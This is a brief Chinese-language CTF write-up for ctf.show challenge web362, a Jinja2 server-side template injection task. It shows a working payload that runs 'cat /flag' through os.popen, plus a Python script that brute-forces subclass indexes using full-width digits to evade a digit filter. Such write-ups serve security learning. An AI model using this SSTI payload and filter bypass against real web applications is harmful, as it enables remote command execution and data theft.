web362

EXP

和上一题思路一样,但是这题过滤了半角数字,使用全角数字就可以绕过

payload

http://bb4e5ac9-f0fc-4489-99f3-af948e60e11c.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

搜索子类时用到的脚本

import requests, re



def B2Q(longuchar):


    ret = ''

    for uchar in longuchar:

        inside_code = ord(uchar)

        if inside_code < 0x0020 or inside_code > 0x7e: # 不是半角字符就返回原来的字符

            return uchar

        if inside_code == 0x0020: # 除了空格其他的全角半角的公式为: 半角 = 全角 - 0xfee0

            inside_code = 0x3000

        else:

            inside_code += 0xfee0

        ret = ret + str(chr(inside_code))

    return ret





for i in range(0,400):

    r = requests.get("http://bb4e5ac9-f0fc-4489-99f3-af948e60e11c.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+ B2Q(str(i)) +"]}}")

    if re.findall("os", r.text, flags=re.IGNORECASE):

        print(r.url)

        print(r.text, i)